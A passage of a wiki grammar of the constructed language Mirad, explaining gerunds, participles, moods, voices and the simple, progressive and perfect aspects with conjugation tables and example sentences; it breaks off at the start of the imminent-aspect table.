The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
